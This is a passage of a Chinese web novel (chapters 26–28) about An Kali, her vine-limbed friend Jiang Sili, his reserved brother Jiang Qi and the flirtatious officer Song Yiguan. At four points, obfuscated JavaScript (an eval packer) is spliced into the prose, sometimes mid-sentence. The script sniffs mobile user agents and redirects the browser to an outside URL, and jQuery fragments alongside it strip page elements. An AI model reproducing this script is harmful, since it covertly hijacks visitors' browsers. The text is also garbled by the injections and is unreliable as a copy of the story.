磨一磨那恼人的痒意。 安卡莉解开脚踝上的藤蔓连忙上前。 半蹲在他身前,有些关切的询问道:“我现在该怎么做?” 像之前一样吗? 抱一抱能不能缓解一些? 实在不行就还是送医院吧。 安卡莉伸出手,抱住他的肩背,像哄小孩子一样的轻拍了两下,温和又平静的声音随着呼吸一起打在他的耳侧,“这样会不会好一些?” 江斯理感觉自己像轻盈的风,缓慢的落下来,又跟着她的呼吸上浮。 起起伏伏。 疼痛消散了一些,可,现在更多的是想要她的触碰。 怎么样都可以。 “卡莉……” 他的话带着些模糊的尾音,但安卡莉听见了自己的名字。 “怎么了?” 在她的询问结束之后,江斯理握住了她的肩,直起身,让两人面对面相视。 他的目光即使是在这片只有微弱光芒的房屋中也灼热得吓人。 轻柔的呼吸互相交错,萦绕着,盘旋着。 甚至安卡莉感受到了一丝热意,让她静不下心来。 紧接着她的下巴就传来了细微的痒意,被温热的柔软覆盖住的时候,一丝顿感的疼痛侵袭而来。 他在咬她! 轻轻咬住薄薄的一层肉,然后用牙尖慢慢的研磨。 是耳鬓厮磨的那种,没什么力道却格外的让人颤栗。 就好像,好像在吸引她注意力一样,以此彰显自己的存在感。 不清楚的调子从他的嘴里吐出,“考虑考虑我,好吗?” 安卡莉呼吸加快,梗着脖子,根本不敢动。 这时,她的手环又再次亮了起来。 明亮的光线在黑暗中异常明显,但安卡莉根本不敢低头看,生怕等会他咬的就不是下巴了。 突然! 一道门铃声在寂静的空间中散开来。 “叮咚。” 安卡莉一把推开面前的江斯理,按下灯的开关,让整个客厅亮起了,才接着打开了面前的可视摄像头屏幕。 看清楚再大门站着的人时,她心跳有些快地惊讶道:“江祈哥?” “你怎么来了?” 江祈缓缓滚动了一下喉结,垂着身旁的手握紧,看着面前没有关上的铁门,用着不稳的声音询问道:“大门没有关,我可以进来说吗?” 进来? 安卡莉的视线往旁边移动。 江斯理正曲着一条腿,耳尖泛着红,下颌被他咬紧,向外侧着脸,不敢和她对视上。 “等等!” 她急促开口。 “好。” 听见她的阻止,江祈收回了搭在铁门上的手。 安卡莉刚打算往前走,藤蔓又重新缠住了她的脚,似乎比刚才还要紧。 【莉莉要去哪?】 【留下来】 她试图往前走,却一步都动不了,缠得很紧,安卡莉只能上手扯开,但明显江斯理的反应更明显了。 他弓着背脊,侧着身将手撑在地面上,轻微的喘息声在屋子里蔓延开来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15803783|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她自动屏蔽耳边的声音,跟这些藤蔓讲理,“松开我好不好?” ——松开我好不好? 清凌凌的声音传到江祈耳朵里。 江祈的手重新搭在铁门上,眼眸低垂,睫毛微微颤动,不知道在想些什么,手腕轻轻一用力。 “咯吱。” 铁门发出响声。 雪花大片大片的飘在他的头顶,落在穿着黑色外套的身上,他伸出手抚走了胸前的白粒,步子放慢地往前走。 等踏上台阶,看见那开着的门,江祈迟疑了。 他站在门前,唤道:“卡莉?” 屋内还在与藤蔓较劲的安卡莉顿住了。 不是。 这场面能被他哥看见? 要是看见她还能说得清吗? 很显然,不能。 安卡莉慌张地在藤蔓上捏了一下,瞬间,江斯理发出一声细微的痛吟,她身上的藤蔓也尽数退去。 她两步并三步走,快速来到门前,然后将门缝打开了一点,站在门的开口处,遮挡住屋内的光景。 “江祈哥,你怎么来了?”,安卡莉有些心虚地问。 江祈耳边的声音变得模糊,他用力按压了一下太阳穴,企图通过这样的方式缓解异样。 等疼痛逐渐消失,他放下手,用着暗哑的声音说道,“你没回光脑。” 安卡莉虽然注意到了对方的异样,但不好多嘴过问,只好去看手环上的信息。 所以,之前光环亮屏的那几下是江祈给她发的消息。 【刚下班,半个小时后到】,8:11。 这是在她发出消息后的十分钟。 【卡莉,如果没时间的话明天再来】,8:45 【卡莉,你在家吗?】,9:03 而最后一条信息也就是现在。 安卡莉有些不好意思的抿了抿唇,将手放下之后,才期期艾艾地说道:“江祈哥,不好意思,我没有注意手环消息。” “东西我明天再去拿吧。” 疼痛消失的他,抬起窄窄的眼皮,浅淡的眸子里露出一些不明的情绪。 眸光往里面看过去,只能看见朦胧的光线。 对方焦躁的神色,挡住门口的动作,无不在说她家里有他不能见的人,或者说他不方便见的人。 江祈垂眸,纤长的睫毛遮挡住了眸子里的暗色,嘴唇轻抿。 随着灯光的熄灭,他整个人落在阴影里。 安卡莉趁机向旁边看去,江斯理还保持着刚才的模样,只不过脖颈处露出了鼓起的青筋。 她有些焦虑地咬了咬唇。 是不是应该让对方先走?她想。 安卡莉抬头不经意说道:“江祈哥,我看雪越下越大了,要不然你先回去?” “等会儿怕路上结冰。” 然后伸手挥了挥上方的感应灯,灯刚重新亮起。 这时! 安卡莉的手腕被突然被抓住,他的眼睛落在她的脸上,凝视了很久。 冰凉的体温顺着她的皮肤往里钻,丝丝透骨,和他人一样。 她挣扎了一下,对方便放开了那只强有力的手掌,并道:“抱歉,下意识反应。” 她抬眸看他,似乎也能理解对方的动作,作为稽察长,身前突然出现一只手,有这样的反应不足为奇。 思及此,安卡莉笑了笑,温声道:“我明白的。” 26. 第二十六章 江祈蜷了蜷手指,眼睛扫过面前的人,别开脸,声音清冷的说了一句:“我是该回去了。” 安卡莉看着他的棱角分明的侧脸,意识到对方是在回她刚才催促对方离开的话。 只见他说完这句话后抬起脚,步子落在实处,往前走。 走出了几步,他顿了顿身影,没有回头的开口道:“下次,记得把门关好。” “好的,江祈哥。” 她模糊的声音消失在耳畔,江祈关上黑色铁门,在离开的时候看了一眼昏黄的窗,落在窗前的雪,才重新抬起脚。 她这样的年纪,爱玩是正常的。 见人走了,安卡莉才将体温滚烫的江斯理从地上扶起来坐在椅子上。 期间还要避开他的类肢和对方时不时想要的肢体接触。 好不容易将人放好之后,她叹了口气,只觉得自己从来没有这么累过。 安卡莉打开光屏,开始上网搜索安抚后遗症怎么处理。 虽然这个症状只会让他感觉到疼痛,不致命,但总让他这么疼也不是个办法,更何况,跟她还有一些关系。 【异化者的需求很少,他/她只是想要你的陪伴,想要点安全感而已,如果这些都做不到的话,只需要让他/她沾染到你的味道就好。】 看到这里,安卡莉望向坐在椅子上塌着背,皱着眉的人。 他的需求很少? 她怎么没有感受到? 牙齿都咬她下巴上了,这叫需求少? 等等。 安卡莉走到镜子面前观察了一下自己的下巴,上面有两条红痕,不是很明显,但仔细看能看见。 江祈应该没有看见吧。 当时光线也不是很明,她也没有抬头,应该看不见的,安卡莉试图安慰自己。 依着网上的建议,她决定将人带进她的房间,如果说她的味道哪里最明显的话,那也只有她的房间了。 安卡莉扶着意识模糊但还能走得了路的人往二楼上走。 腰间的藤蔓她已经无暇顾及,只能让它们绕着她打转。 江斯理抬眸朝旁边望去,她低垂着头,露出莹白的脖颈,轻盈的发丝拂过他的脸,像风打了个卷,忽的便消散不见。 木质的浅淡味道笼罩着他。 被包裹,被萦绕。 耳边吵人的声音都消停了一些,疼痛似乎也在缓解。 想到刚才从自己嘴里说出的话,江斯理的头埋得更深了,耳尖散发着让他忽略不了的热意,他抿着唇,绷紧下颌,闭上眼睛。 羞耻感在这瞬间席卷了他,甚至让他不知道该如何去面对安卡莉。 一个只能当朋友的安卡莉。 她将人放在床上,站起身吐出一口气,然后找了一本书给自己扇了扇风,看着床上的人点了点头。 网上说的方法好像是有效的,她腰间的藤蔓已经退回去了,甚至江斯理嘴里也没有了痛吟, 只是眉头还皱着,呼吸还是一样的沉重。 看了看时间,安卡莉打了个哈欠,关上了房间门,去往了客房,一般安抚后遗症只会持续一天,但烦人的是这样的情况两个星期会出现一次。 只希望对方能尽快处理好这样的情况,她可不想每次回家都看到这样的他。 等第二天醒来的时候,安卡莉打开了她的卧室门。 只见床铺被折的整整齐齐,而上面的人也消失不见了,就像她委婉的拒绝对方那天一样,起床之后就不见他了。 也许江斯理自己也对昨天的行为感到羞赧吧,她想。 但这样也好,因为她也不知道该怎么面对江斯理。 - 到了稽察部,安卡莉一早上都是在找血管,抽血当中度过的,只不过今天她没有看见过江祈。 等中午休息吃饭时,她才有时间去问赵绮。 “赵老师,稽察长不用抽血检测吗?” 赵绮戳了戳盘子里她不喜欢的菜,抬起头‘哦’了一声。 “在你上班之前,江长官就已经抽完血了,好像是他今天有什么任务,所以就提前抽了。” 安卡莉点了点头,说了一句:“这样啊。” 便也不再去关注对方。 等将实验室和稽察部所有人的血都抽好之后,安卡莉揉了揉已经僵硬到不行的肩。 机械性的重复工作果然不是那么好做的。 赵绮敲了敲她面前的桌子,靠在桌沿上,双手抱胸,颇有些感叹的说道:“还真有些舍不得你。” 安卡莉有些无奈地笑了笑:“赵老师应该是舍不得我这个劳动力吧。” 赵绮‘嘿嘿’了两声。 “哎呀,不要这么说嘛。” 突然她提议道:“要不然,我跟钱教授说一声,把你要过来吧。” 安卡莉被吓得睁大了眼,连连摆了摆手,“赵老师,我还等着舒师姐给我打分呢。” “随意调换岗位,我怕我拿不了毕业证。” 听到这里赵绮叹了口气,“也是,医疗室没有实习生岗位。” 看见对方失落的表情,安卡莉开口道:“赵老师,实习生每周都要轮班一次的,到时候你可别嫌我烦呀。” 赵绮看了一眼带着笑意的安卡莉,发出笑声,边走出医疗室边朝身后挥了挥手,“行了行了,下班吧。” 安卡莉弯了弯眼睛,温声应了句好。 想到晚上和莫宁还有约,她背上包,拿上围巾,从医疗室里走出并关上了门。 等电梯的时候,安卡莉百无聊赖的望着窗外的景色。 簌簌的大雪掩盖住了路边的草丛,落在树冠上,落在行人身上,地面逐渐被凌乱无章的脚印覆盖,独留形状不一的痕迹。 一道脚步声突然从她的侧面传来,安卡莉下意识侧过头去看。 视线随即与那双微微上挑的桃花眼对视上。 他的眼周泛着淡淡的红晕,眸子里含着情,让人不免心慌闪躲开他的目光。 “卡莉小姐,好巧,我们又见面了。” 宋以观的声线清醇似酒,懒散的飘进她的耳朵里。 安卡莉稳了稳心神,唤了一声:“宋警官。” 然后便将目光移回来,盯着不停变动的电梯楼层,不再向旁边看去。 宋以观交叉着脚站立,双手插进裤子口袋中,身后是散落的黑发,只见他微微侧头,望向站姿端正,手里拿着围巾的安卡莉。 低扎的头发,被随意挽起,一些碎发从发圈中落出,整个人就这样静静的站在一旁,安静又温和。 宋以观勾了勾嘴角,露出一个似笑非笑的表情。 如果不是耳边的【好感度-1】 他似乎也不知道她讨厌他。 “叮咚。” 看着缓缓打开门的电梯,安卡莉瞥了一眼宋以观,开口道:“宋警官先进?” 宋以观收好交叉的腿,眼角含笑,抬了抬手示意道:“女士优先。” “谢谢。”,客套的话从她嘴里说出。 随即便抬脚向里走去。 等两人都站在电梯里时,安卡莉就听见对方说道:“卡莉小姐,有男朋友吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15817210|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着这种打探隐私的话,她下意识皱起眉,抬眸看向宋以观。 接着他继续道:“抱歉,不是为了打探你的隐私,而是……” 突然之间。 对方正式起来,走到她的面前,微微低头。 明亮的光打在他的脸上,彰显出俊朗的眉,清艳的眼,挺直的鼻骨以及滑落下来的乌发。 柔软的细发擦过安卡莉的腕骨,然后又移开。 她呼吸顿了一瞬,才听见被对方压低的声线,尾音里带着柔软的气音,“我可以追求卡莉小姐吗?” “我……” “叮咚。” 在第十层电梯门被打开了。 宋以观起身,“卡莉小姐,我这人很有耐心的。” 话毕,他走了出去,站在电梯口,他露出一个勾人的笑容,对着安卡莉探究的目光微微弯眼,说道:“卡莉小姐,明天见。” 站在电梯里的安卡莉皱起了深深的眉头,眼神里全是不解。 如果她没有记错的话,昨天是他们的第一次见面。 虽然她觉得对方很轻浮,但宋以观是一个见人第一面就一见钟情的人吗? 不见得。 能当上高级警官的人会有他表面上展示的那样吗? 安卡莉摇了摇头,她总有一种感觉,宋以观出现这样的举动和程妄异常的表现有关系。 或许,说不定宋以观可以成为这件事情的突破口。 安卡莉看着镜子里的人,她从来不相信世界上会有无缘无故发生的事情,在背后总归是有原因的。 坐在咖啡店的时候,她想起昨天跟江祈说过要去他家里取走她的东西。 思及此,安卡莉给对方发了一条信息,说晚一点去。 也几乎是同一时间,对方回了一个‘好’。 “你来的好早。” 听见熟悉的声音安卡莉关上手环抬头望去。 只见莫宁穿着一件黑色的长款羽绒服,将她从头到脚遮了个彻底,头发被挽在脑后,睡眼惺忪的出现在她面前。 不修边幅,安卡莉只能用这个词去形容。 她打趣道:“你现在真的是一点都不在乎自己的外貌了。” 莫宁拉开她面前的椅子,一下子坐在上面,趴在桌上闭着眼睛道:“你是不知道雕塑专业期末周的痛。” “我已经好几天没睡过好觉了。”,莫宁发出哀嚎。 安卡莉觉得有些好笑,但又不能笑出声,只好安慰道:“坚持两天,马上放假了。” 听到这话,莫宁更颓了,“放假?我没有假,我还要做我的作品集。” 在霍内德,读艺术专业的研究生都需要提前准备好作品集以便到面试的时候用于展示,也就是说莫宁假期也不能休息了。 这样一来,显得她更惨了。 “那我们快走吧,选完之后,你还能早点睡。”,安卡莉拍拍她的肩说道。 今天莫宁约她主要是为了给她妈妈选一个生日礼物,至于安卡莉自己也是需要参加的。 莫宁拉着安卡莉的手站起来,顺势挽住她的手臂,将头靠到对方肩上。 真的太累了,累到她根本不想动。 被迫承担两人重量的安卡莉也只能默默承受,谁叫对方是莫宁呢。 模糊的音调从耳侧传来。 安卡莉将落在旁边店铺的视线移回来,‘啊’了一声。 “你说什么?” “程妄,你知道这个人吗?” 莫宁的头从她的肩上起来,侧着身问道。 27. 第二十七章 安卡莉点了点头,不止知道,印象还很深刻。 “他,怎么了?” 莫宁小声嘟囔了一句:“也没什么。” 然后接着说:“只是,听我爸妈说,他好像生了一个挺严重的病,也不知道好没好。” “嗯?” 安卡莉发出一声疑问:“你怎么突然说起了他?” 她倒是不知道莫宁和程妄相熟。 莫宁‘哎’了一声,“有些唏嘘罢了。” 这么一听,安卡莉就听出了些感慨来,这中间是有什么故事吗? 但很快,莫宁就给她解了惑,“其实之前的程妄哥还不是这副模样的。” “他家和我家是商业合作伙伴,几年前还见过几面,那个时候的他还很正常,虽然喜欢捉弄人,但底色是善良的。” “但自从去福利院搞一个什么慈善活动被绑架之后,他的性格就变了,也许是因为那只被烧伤的脚吧。” 听到关键词的安卡莉侧着头去看好友,“他的脚……是因为这件事?” 莫宁点了点头,“之前他的心里障碍很严重,一度不敢出门,这两年好一些了,但我们还是不敢去提这件事,甚至都不敢将目光落在他的腿上。” 安卡莉皱了皱眉,不自觉的开始想。 她那天,是不是做得太过分了一些? 应该找对方其他弱点攻击的,而不是攻击他残缺的部分。 “卡莉?” “啊?” 莫宁看着她,“想什么呢?” “我们去看看这家的首饰吧。”,她指了指前面的珠宝店。 安卡莉下意识点头,“好,好。” 最终,莫宁挑了一条价格适中,但寓意很好的戒指,而安卡莉则挑了一款很漂亮的植物花卉茶具。 送首饰以她的身份不是很方便,但茶具就不一样的。 而且莫宁的妈妈很喜欢喝花茶,送茶具是一件不会出错的礼物。 “我送你去车站坐车吧。”,莫宁提议道。 安卡莉弯了弯眼,“你跟我还这么客气?” “小心,下次我不出来了哦。” 她的语调很柔和,尾音拉长威胁着对面的人。 莫宁双手合十的放在眼前摇了摇,然后闭着眼笑道:“我的错,我的错。” “那我不跟你客气了,就先走了。” “好,路上注意安全。” 安卡莉嘱咐道。 莫宁朝她比了一个‘OK’的手势,便转过身。 只是,她刚才好像看见了对方下巴处有两道印子,又是被流浪猫抓了吗?她想。 等看人离开之后,安卡莉拢了拢脖颈处的围巾,然后朝着车站走去。 现在的雪下的不是很大,但冷风存在感却异常强烈,她用着温热的手捂了捂耳朵,继而将嘴巴和鼻子埋进围巾里,试图挡住这些烦人的冷风。 也许是因为听了莫宁的那番话,安卡莉心里还是在意程妄的那件事,有一点懊悔当时不应该那样做的。 她摇了摇头,试图甩出这些困扰。 既然事情已经发生了,现在她去想那么多也只是自寻烦恼。 她将自己的注意力转移到手环上发来的信息。 【您的车牌信息已经进入审核,七个工作日之内将会给您回复,谢谢您的支持。——三区稽察部】 这样看来,下个星期她就可以开车上下班了。 从温暖的车厢下来,安卡莉看见车站玻璃外面越下越大的雪,小声地叹了口气。 霍内德冬天的雪是很美没有错,但仅限于读书时候的寒暑假,现如今上班了,就突然觉得这些雪景给她带来一些不便。 她走出站台,下了几个台阶,走进雪里。 清凌凌的空气中是一股雪松的味道,清香伴随着潮湿气息。 冷空气吸进鼻腔里,引起一阵酸涩的疼痛,安卡莉伸出手揉了揉冰凉的鼻子 走到江斯理家门前的时候,她搓了搓发僵的脸才按下门铃,她没有忘记和江祈约好要取走她之前在他家留下的物品, 没等多久,安卡莉面前的黑色铁门便被打开,安卡莉手碰到冰冷的接触面往前推了推,然后转身关上门。 打开屋内的门时,她只看见了之前她穿的毛绒拖鞋整齐的摆在她面前,至于江祈,则不见身影。 安卡莉唤了一声:“江祈哥?” 无人应答。 她换下鞋,朝里面走了几步,一眼望去整个一楼都没有人,想来对方不是用门口的可视监控给她开的门,而是用光环操控的。 安卡莉往楼上走都没怎么看见人,心想应该在后院或者其他地方,等她收好东西出来再和对方打招呼吧。 她提着自己的物品刚走到二楼的平台上,就听到一道清脆的响声。 “哗啦。” 是从江祈房间里传来的,安卡莉走过去,就看见地上破裂的陶瓷,散落一地的泥土以及落了不少叶子的树苗。 而江祈正侧对着她蹲下身捡拾起地上的碎片。 见状,按卡莉没有说话,只是将手中的袋子放在墙边,响起细微的摩擦声。 听见声音的江祈微微侧头,指尖擦过锋利的碎片,鲜血瞬间从从他的指尖涌出,腥甜的味道蔓延至他的鼻尖,他不可避免的皱了一下眉。 安卡莉上前了几步,从自己的包里拿出了一张创可贴连同在桌上扯的几张纸巾一起递到对方面前。 “江祈哥,擦一擦。”,她道。 草木的味道在这一刻重新贴紧他的皮肤,不尖锐,带着淡淡的冷意和平常微弱的甜味有些差异。 很快,江祈就知道这份冷意是从何而来。 对方用着泛红的手指将手中的东西递到他面前。 潮湿带着冷空气的味道。 江祈抬手接过,温热的指尖擦过她冰凉的手,如同划过充满水汽的玻璃窗,留下了湿漉漉的痕迹。 安卡莉蜷缩了一下手指,别看视线,落在地上。 犹豫了一瞬捡起地上的树苗,是一棵小橄榄树,她以前好像也有过这样一个盆栽。 至于现在在哪,安卡莉有些记不清楚了。 看见对方站起来擦掉手指的血迹,她扯了张纸巾垫上,将橄榄树放在桌面上。 江祈贴上创可贴之后,拿来了打扫工具将地上打扫干净。 而站在一旁的安卡莉忍不住在想,她似乎不怎么能在江斯理家里看见家政阿姨这类的人,连上次聚餐之后,也是江斯理自己打扫的卫生。 他…… 安卡莉的目光聚集在江祈身上。 他不喜欢有外人在家? 江祈收起工具,稍微调高了一些室内的温度,不经意问道:“在看什么?” 冷不丁的说话声让安卡莉晃了一下神。 她将碎发往耳后挽,视线飘忽,“看,看……” 这时,她看见了斗柜上的泥塑,心念一转,“在看小猫泥塑。” 江祈没有再说话,只是抬起眸子,将目光轻轻的落在她身上。 安卡莉舔了舔唇,指着那只小猫问:“江祈哥,这是从哪里得来的。” “你给我的。” 明明是平淡的语气,却让安卡莉的心跳突然加快。 她缓慢转过头,指了指自己。 “我?” “我,什么时候……” “去年冬天。” 江祈拿下泥塑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15817211|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,垂着眸子,嗓音如浸了雪一般。 安卡莉露出迷茫的眼神,脑子却在搜寻去年发生的事情。 一小段记忆突然涌现出来。 从莫宁学校回家的时候,安卡莉拿回来了几个自己做的泥塑作品。 走到青山平的时候,她想到之前她送给江斯理的泥塑不知道被快递公司丢哪里去了,如果遇上对方的话也可以补一个。 因为安卡莉回家会途径新区,所以有时候也会遇上江斯理。 但很可惜,对方运气不是很好。 正当安卡莉准备抬脚从江斯理家门前走过时。 “卡莉。” 一道声音从她的身后传来。 安卡莉提着袋子转身,看见的就是一张清冷的脸,穿着黑色的套装就这样静默的站在她的不远处。 她唤了一声:“江祈哥。” “你找斯理?”,他问。 安卡莉摇了摇头,想到什么,她从袋子里随意拿出了一只小猫,递给对方。 “江祈哥,这个给你。” 既然没有遇到江斯理而是遇上了他哥,那都一样,她想。 江祈在接过小猫的时候手指蜷缩了一瞬,随即道:“谢谢。” 听见对方毫无起伏的平淡道谢,安卡莉挠了挠头发,“不用客气。” “那,江祈哥,我就先走了。” 想起这段记忆的安卡莉突然之间垂下了脑袋。 真的不是她故意忘记的,实在是这段记忆太过于没有记忆点了。 安卡莉交叉在胸前的手不自觉握紧,小心抬眸去瞥对方的神色,看不出有什么异样,小声说道:“不好意思,江祈哥。” “忘记了就忘记吧。” 他本来也不是被人记在心里的人。 对方这么一说,安卡莉感觉自己更心慌了。 “江祈哥,我给你重新做一个吧,这回我肯定不会忘记了。” 安卡莉往前走了两步柔声提出一个小小的建议。 江祈没有搭她的话,而是将小猫重新放在斗柜上。 安卡莉的注意力还停留在如何弥补对方身上,丝毫没有意识到两人的距离已经超过了安全范围。 一只冰凉的手突然附在她的脸颊上。 安卡莉懵了一瞬,“怎么了吗?江祈哥。” 对方轻微的气息散在他的手上,江祈的指尖微动,视线移开。 “你脸上沾到了泥土。” “好了吗?” 她不太适应这种距离,太近了,而且他们的关系还没有亲近到这一步。 “你这里……有脏东西。” 江祈的手移到她的下巴,用指尖擦了擦。 当感受到对方手指带来的粗粒触感时,安卡莉下意识向后退了两步,遮住自己的下巴,垂下头。 江祈的手一空,眸光暗了下来,“抱歉。” 安卡莉拿好自己的东西,有些不自在地说:“不早了,我就先回家了,江祈哥。” 说完,也不等对方回应,便向大门走去。 江祈望着她离开的地方,摩擦着指尖,低喃道:“真的是牙印。” 安卡莉心慌地直往家赶。 一种是怕江斯理的事情败露在他哥面前的慌张感。 另一种,安卡莉有些说不清楚,总感觉对方看她的眼神让她很紧张。 她将东西放下,就往洗漱间走,看着镜子里的那张脸,她抬了抬头。 下巴处红了一小片,应该是刚才被江祈擦过的那一片,中间有些地方颜色比较深带着零星红点,这就是江祈说的‘脏东西’? 安卡莉对着镜子舔了舔唇,她真的希望对方这样认为,而不是看出了什么异样。 28. 第二十八章 次日。 安卡莉拿着早餐出了门,为了避免遇到江祈,她还特意从南门出,去另外一个车站坐车。 昨天的场面她到现在想起都会感到心慌,所以还是避开两人会见面的风险吧。 今天的三区开始出太阳了,被太阳照射的地方雪层已经融化了,空气中也都是暖和的因子。 但没有被太阳照射到的地方还是依旧的阴冷潮湿,雪融化的水也在滴答滴答的往下落。 因为综合大厦此时是背着光的,安卡莉走过去时就踩到了一块烂砖,鞋面上和裤腿上都溅了不少污水。 她走到安全通道,打算停下处理一下。 这时,靠过来一道身影。 一包湿巾被递到她眼前。 “用这个擦擦?” 懒散的声线被拉出尾音,很容易让安卡莉分辨出此人是谁。 安卡莉抬头看过去,只见宋以观靠在门上,曲着腿,乌黑的长发落在胸前,眸色似点漆,抬起薄薄的眼皮,嘴角扯着一个笑。 对方的手一直抬着,似乎也没有要离去的意思,安卡莉接过那包湿巾,柔声开口道:“谢谢宋警官。” 从里面扯了几张出来,她擦了擦脏污的裤腿和鞋面,然后团在一起,打算找个垃圾桶一起扔掉。 只见一只宽大的手从她身旁伸了出来,安卡莉疑惑了一瞬,将手中的湿巾放进他的手心。 但没想到对方一个弯腰,顺走了她另一只手里已经用过的湿巾。 “卡莉小姐,总该给我一个表现的机会吧。” 宋以观弯着身体,用那双含情的桃花眼注视着她,期间几缕细碎的刘海划安卡莉的手心,引起一阵酥麻。 她下意识收回手,移开视线,开口道:“我应该……没有让宋警官一见钟情的本领吧。” 她是真的很想知道对方这样做的目的是什么。 宋以观直起身体,散漫地向旁边移动了两步,单手插兜的转过身来,语调带笑:“卡莉小姐,对自己要有点信心。” 听见这话,安卡莉揉了揉眉心,看来是无法和他沟通下去了。 虽然宋以观看起来很轻佻,但他做的事却始终都在禁线外,没有很过分的举动,她也不好再说什么。 看了时间,安卡莉也不在和他纠结这件事,往电梯走去。 宋以观也跟着上来,但他并没有再说一些似是而非的话,而是安静的待在安卡莉的身旁。 背脊柔软无骨似的靠在一旁的墙面上,双眼微微闭合,神态放松。 上挑的桃花眼阖上形成一条细缝,消减了一些轻佻感,多了一些慵懒。 仅仅只是扫了一眼,安卡莉便将视线移开,轻微摇了摇头,这人真的很奇怪。 与此同时,那双清透的眸子微微张开,半阖着朝安卡莉望去,里面多了些模糊不清的色彩。 “叮咚。” 第十层的电梯门被打开。 宋以观起身站好,就看见电梯外身姿挺拔的江祈。 安卡莉也注意到了。 对方穿着一件黑色的大衣,里面是稽察长的制服,垂在身侧的手中拿着一沓厚厚的文件,脸上是一贯清冷淡漠的表情。 当他看着面前的他们时,目光微垂,细长的睫毛阴影在眼睑处投下阴影,更显得人冷冽。 宋以观率先打招呼,嘴角弯起,“早上好,江长官。” 明明只是一句简单的打招呼,安卡莉却听出一些微弱的火药味。 这两人……应该是有过节的吧,她想。 江祈眉心极轻地颦了一下,转瞬即逝,声音压低,抬眸冷冷地看着他:“有事?” 宋以观轻笑一声,挑了挑眉,有些意味深长的开口:“问好而已。” 说完也没在乎对方回没回他,而是侧头,用着轻音量对着安卡莉道:“卡莉小姐,下次见。” 接着走出电梯门,在经过江祈的时候他顿了一瞬,拍了拍对方的肩,偏头笑着道:“江长官,你觉得她会喜欢上你吗?” 这个意味不明的她,指向性很强,身处其中的两人都知道是谁。 江祈往后退了一步,拍掉肩上的浮层,眼神冷淡地望过去,沉声道:“说完了?” ——说完了,你就可以滚了。 虽然对方没有明说,但宋以观感受到了。 他毫不在意的耸了耸肩,转回身体正对着在电梯里的安卡莉,几缕不羁的碎发垂落在胸前,手指往旁边指了指,无声开口道:“脾气真差。” 当然,江祈没有错过对方的动作,眼风刚刚扫过去,宋以观便收回手转身离开。 安卡莉舔了舔唇,在人进来的时候往后退出了一段距离。 因为昨天的事情,她不知道该怎么和对方相处了。 江祈的余光也注意到了对方的动作。 电梯门一关上,安卡莉就闻到了对方身上的清苦味道,似乎上次那道和她一样的木质香味完全消散了。 “卡莉。” 听见对方唤她的名字,安卡莉垂眸下意识‘嗯?’了一声。 等待对方的下文,但这句话之后对方再也没有说话。 安卡莉偏了偏头,有些奇怪,唤她名字怎么不说事情呢? 她舔了舔唇,最终也没有询问对方有什么事,而是装作不知情一般老老实实站在电梯里。 就这样,空间的气氛开始凝固住了。 安卡莉时不时盯着上面的光屏,看着上移楼层,明明只有六层的距离,总感觉时间过得很慢,慢到她觉得她要被冻僵了。 “叮咚。” 电梯响起的声音让安卡莉慢慢吐出一口气。 她握了握交叉在身前的手,走出电梯门,温声对着江祈道:“江祈哥,我到了,先走了。” 说完便不再去看对方,走过拐角消失在走廊中。 “看什么呢?” 程喻之顺着江祈的视线望过去,什么都没有看见。 江祈移开目光,松了松捏紧文件的手,往稽察部的办公区走,嘴上说着:“没什么。” 想到什么,程喻之又接着说:“上次你那个事情解决了?” 倒不是他要故意打探对方隐私,主要是已经过去好几天了,他担心对方再次出现那样的状况。 江祈摸了摸袖口的纽扣,不规则的边缘硌着他的皮肤,有些顿感的疼痛,他冷声道:“还没有。” 这句话之后,任凭程喻之怎么问,对方都不再开口。 眼见这个话题聊不下去了,他又提起另外一个话题,“你说,人莫名其妙的吐血是怎么回事?” “你在说谁。” 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15827735|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻之‘哎’了一声,有些疑惑的发声:“你不知道?” “程妄啊,他这段时间莫名其妙的开始吐血,我妈还让我晚上去看看他。” 虽然他不是很喜欢现在程妄的性格,但谁叫对方是他堂弟呢。 可…… 程喻之抬眸。 江祈和程妄关系那么要好,不应该不知道这件事吧。 